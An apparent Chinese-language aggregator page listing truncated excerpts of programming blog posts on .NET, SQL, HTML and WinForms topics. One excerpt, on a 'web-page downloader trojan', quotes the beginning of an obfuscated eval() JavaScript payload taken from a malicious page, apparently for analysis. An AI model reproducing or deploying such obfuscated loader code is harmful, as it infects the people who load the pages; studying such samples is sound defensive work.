[原創]把SQL的動態查詢改成SQL查詢

/*作者:阿牛(牛昆亮) QQ:273352165 MSN:niukl@hotmail.com聲明:可以免費使用,請您保留此資訊    如果您有什麼改過,記得告訴我!*/在我們使用預存程序的時候,有時為了組合查詢條件,不得不使用動態查詢。比如下面的代碼:create proc usp_search@city intasbegin    declare @sql varchar(8000)    set @sql = N'select * from TestTable where 1=1 '   

使用Emit動態調用方法(技術原型)

    上周五快下班時,看到一個博友BillGan文章:DynamicMethod (JIT Compiler encountered an internal limitation. )我還是相信中國人 ,當時沒有太多時間,只是實現了調用靜態方法的訪問,不能稱為動態方法引動過程。今天看到,BillGan好像已經死心了。     不過,其實沒有那麼絕望的吧,我實現了一個原型,原理是使用Emit聲明一個變數,然後強制類型轉化成類型,最後再去調用方法: 代碼Code highlighting

非同步呼叫方法時異常的捕獲

在非同步呼叫一個方法時,由於不在一個線程內,異常的處理不同於普通同步調用,但可以在EndXXX時,使用try{}catch{}來捕獲。public static void main(string[] args){    string errorMessage = "this is error message";    Action<int> myWaiter = i =>    {        Thread.Sleep(i);                //拋出一個異常 

[收藏]DIV中圖片置中

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset

[原]用三行代碼實現對音量的控制,實現增大,減小,靜音

用三行代碼實現對音量的控制,實現增大,減小,靜音,哈哈增大音量:    keybd_event(VK_VOLUME_UP,MapVirtualKey(VK_VOLUME_UP,0),KEYEVENTF_EXTENDEDKEY,0);    keybd_event(VK_VOLUME_UP,MapVirtualKey(VK_VOLUME_UP,0),KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP,0);減小音量:   

[原創]伺服器提交了協議衝突

今天用HttpWebRequest,發生了異常,提示伺服器提交了協議衝突 Section=ResponseStatusLine 經過抓包發現如下互動:POST /service.ep HTTP/1.1Content-Type: application/x-www-form-urlencoded;charset=utf-8User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)Host:

公開一個部落格下載備份器源碼

    新浪部落格上好多牛人的部落格,有時候想下載下來離線觀看,便有了這個軟體。 此軟體本想做一個支援眾部落格的下載器,不過後來精力有限,只完成了新浪部落格的部分部落格的下載。    下載時,目前想從部落格地址上,得到部落格類型,然後載入不同的部落格設定檔,從而獲得文章列表分頁資訊,文章總數等資訊,再依設定檔,匹配出部落格文章地址。     目前支援線上查看部落格,和匯出部落格到本地功能。    

UpdateProgress之用半透明DIV加置中的提示進行時.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><html><head>    <title>Untitled</title></head><body><div style="position:absolute;width:100%;height:100%;overflow:hidden;background-color: #fff

分布式緩衝在歸檔公文查詢應用

文章目錄 分布式基於索引值對資料淘汰演算法 目前已歸檔公文查詢現狀a)       資料庫結構不合適。由於需求要求每個使用者只能查詢自己能查的公文,但標識一個公文可以被哪個公司、部門或個人可查的欄位,卻不存在,必須使用Like語句來匹配,極大的增大了表的掃描範圍,增大了資料庫IO、記憶體開銷,降低了查詢速度。b)     

varchar,nvarchar不同呀。小心出錯

今天調程式,執行SQL老是報錯。最終發現是 varchar 和 nvarchar

使用匿名函數在後台線程中設定表單控制項屬性

    在使用Dotnetfx2.0開發WinForm程式時,經常需要使用後台線程來進行運算,並把運算的過程資料,結果資料等資訊更新顯示到視窗中。由於表單線程和背景工作執行緒不是一個線程,我們不能在背景工作執行緒中直接設定表單中控制項的屬性,而需要使用Control.Invoke(Delegate del,...)來間接調用。其實,可以使用一個匿名函數很簡單的調用。    按照MSDN上的標準作法,如果有一個函數:

中行的E-Token

    昨天申請了中國銀行的網上銀行,發過來一個E-Token,剛開始還以為要插到電腦上,到單位一用才知道,原來是動態密碼產生器,直接輸入顯示的密碼就行了。    可是,這個東西,不會和伺服器有通訊吧?仔細想了一下,感覺應該是一組演算法,應該和時間同步。只是時間差距差幾分鐘,會很正常的吧?於是我依次把它產生的密碼記下來,然後過幾分鐘後,再輸入幾分鐘前的密碼。實驗證明4分鐘前是可以的,也就是時間差差不多得是5分鐘之內吧。   

終於擷取了SharePoint.OpenDocument對象開啟的Word對象

    網上很多地方介紹了如何用SharePoint.OpenDocument開啟基於WebDAV協議的Word文檔,可是開啟後,如果對文檔進行一些設定作業,卻苦於沒有Word對象。    我這裡實現了得到Word.Application對象,可以進行設定文檔域一類的操作了。    可是,我本來想得到文檔的儲存事件並啟用我的處理函數,目前這裡卡住了,貌似沒有出路。誰有? CodeCode highlighting produced by Actipro CodeHighlighter

又一個網頁下載者木馬

檔案: http://xxxx.xxx.xxx/web.htm<SCRIPT LANGUAGE="JavaScript">eval("\146\165\156\143\164\151\157\156\40\147\156\50\156\51\40\173\40\166\141\162\40\156\165\155\142\145\162\40\75\40\115\141\164\150\56\162\141\156\144\157\155\50\51\52\156\73\40\162

程式員的Silverligth之路之HelloWorld

一、工欲善其事,必先利其器。      要進行HelloWorld的輸出,首先得安裝VS2008 SP1版

載入有命名空間,但沒有聲名的XML

        public static void Sample1()        {                 String xmlString = @"<soapenv:Envelope xmlns:soapenv=""http://schemas.xmlsoap.org/soap/envelope/"">    <soapenv:Header>        <tns:RequestSOAPHeader xmlns:tns=""http://www.

從struct到byte[]之RawFormatter

    public partial class Form1 : Form    {        public Form1()        {            InitializeComponent();        }        private void Form1_Load(object sender, EventArgs e)        {            Demo d = new Demo();            d.a = 5;            d.

利用BCP匯入資料到SQL中

資料庫表:create table [import] (    [number] [varchar] (50) not null ,    [password] [varchar] (50) not null )資料檔案格式:3111000000,22823111000001,29583111000002,62983111000003,52583111000005,82693111000006,89293111000007,85653111000008,52593111000009,585231

使用參數化和塊語句來提高批處理SQL語句的執行效率

    如果你的項目要求你的程式對高達幾萬條的資料在集中的時間內執行固定序列的操作,且不能完全使用預存程序時而需要使用程式來執行時。會需要這些最佳化。    我們知道,SQL伺服器對一條語句的執行,需要分析、編譯、執行這些步驟,通過參數化我們可以對一種命令只分析和編譯一次,而執行多次,從而提高效率。在執行時,如果每次提交語句,可以完成多條SQL語句,則可以減少通訊時間,也可以提高效率。    通過 System.Data.IDbCommand.Prepare()

用匿名函數來更方便的使用緩衝

一個資料緩衝,一般由資料來源,緩衝方案,緩衝讀取來完成,現在有了匿名函數,可以把擷取資料來源變為匿名函數。這樣就可以直接聲明一個緩衝:protected static CacheManager<Company> companyCache = new CacheManager<Company>(new SmsDatabaseCache<Company>(), (key) =>             {                 return Sms

總頁數: 61357 1 .... 4645 4646 4647 4648 4649 .... 61357 Go to: 前往

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.